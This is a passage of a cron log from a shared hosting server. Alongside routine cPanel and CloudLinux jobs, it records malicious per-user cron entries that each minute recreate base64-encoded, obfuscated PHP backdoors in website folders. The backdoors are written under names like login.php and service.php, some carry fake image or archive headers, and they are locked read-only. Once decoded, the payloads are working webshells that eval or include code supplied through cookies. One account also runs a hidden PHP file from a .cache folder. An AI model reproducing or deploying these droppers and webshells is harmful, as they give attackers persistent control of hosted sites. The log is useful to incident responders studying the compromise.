gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:23:01 medusa CROND[9574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:23:01 medusa CROND[9576]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:23:01 medusa CROND[9577]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:23:01 medusa CROND[9578]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:23:01 medusa CROND[9589]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:23:01 medusa CROND[9590]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:23:01 medusa CROND[9591]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:23:01 medusa CROND[9592]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 05:23:01 medusa CROND[9593]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:23:01 medusa CROND[9597]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:24:02 medusa CROND[11271]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:24:02 medusa CROND[11272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:24:02 medusa CROND[11273]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:24:02 medusa CROND[11275]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:24:02 medusa CROND[11274]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:24:02 medusa CROND[11276]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:24:02 medusa CROND[11277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:24:02 medusa CROND[11278]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:24:02 medusa CROND[11281]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:24:02 medusa CROND[11282]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:24:02 medusa CROND[11283]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 05:24:02 medusa CROND[11286]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:24:02 medusa CROND[11290]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:25:01 medusa CROND[13296]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:25:01 medusa CROND[13298]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 05:25:01 medusa CROND[13299]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 05:25:02 medusa CROND[13345]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 05:25:02 medusa CROND[13347]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 05:25:02 medusa CROND[13348]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 05:25:02 medusa CROND[13349]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 05:25:02 medusa CROND[13350]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:25:02 medusa CROND[13353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:25:02 medusa CROND[13356]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 05:25:02 medusa CROND[13354]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 05:25:02 medusa CROND[13357]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
